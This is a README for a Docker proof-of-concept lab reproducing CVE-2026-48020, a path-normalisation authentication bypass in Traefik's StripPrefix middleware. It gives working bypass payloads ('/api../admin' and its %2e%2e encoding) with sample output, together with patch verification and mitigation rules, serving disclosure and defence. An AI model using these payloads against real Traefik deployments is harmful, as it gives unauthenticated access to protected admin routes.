
Laboratorio de prueba de concepto para CVE-2026-48020, que demuestra una omisión crítica de autenticación en el middleware StripPrefix de Traefik mediante normalización de rutas. Incluye un entorno de reproducción basado en Docker y scripts de verificación.
Un proof of concept autocontenido para CVE-2026-48020, un bypass de autenticación/autorización a nivel de ruta en el middleware StripPrefix de Traefik causado por la normalización de rutas que ocurre después de que se toman las decisiones de enrutamiento.
Una solicitud como GET /api../admin se enruta a través de un router público PathPrefix(\/api`)en el momento del enrutamiento (por lo que el middlewarebasicAuthdel router protegido nunca se adjunta), pero después de queStripPrefixelimina/apiyreq.URL.JoinPath()de Go normaliza el resto/../admin, el backend recibe /admin` — una ruta que se suponía debía estar protegida.
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)Los payloads de bypass devuelven 404 en lugar de 200. El parche (PR #13215 de Traefik) rechaza cualquier solicitud cuya ruta difiera después de la normalización de StripPrefix/StripPrefixRegex, por lo que la reescritura de /../admin es detectada y rechazada.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Evitar que la ruta pública coincida con la forma de traversal en absoluto:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Reportado a los mantenedores de Traefik por WonYun / kyun0 (GitHub: H4ck2); corregido en GHSA-xf64-8mw2-4gr2. Este laboratorio PoC es una reproducción independiente creada para el artículo adjunto: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.
| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afectado | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Corregido en | v2.11.48, v3.6.19, v3.7.3 |
| Archivo | Propósito |
|---|
docker-compose.yml | Levanta un Traefik vulnerable (v3.7.1) + un backend en Python |
dynamic.yml | Configuración dinámica de Traefik: una ruta pública /api con strip y una ruta protegida /admin,/internal detrás de basicAuth |
backend.py | Backend pequeño que devuelve un secreto para las rutas protegidas |
poc.py | Envía los payloads de bypass e informa qué rutas se alcanzaron |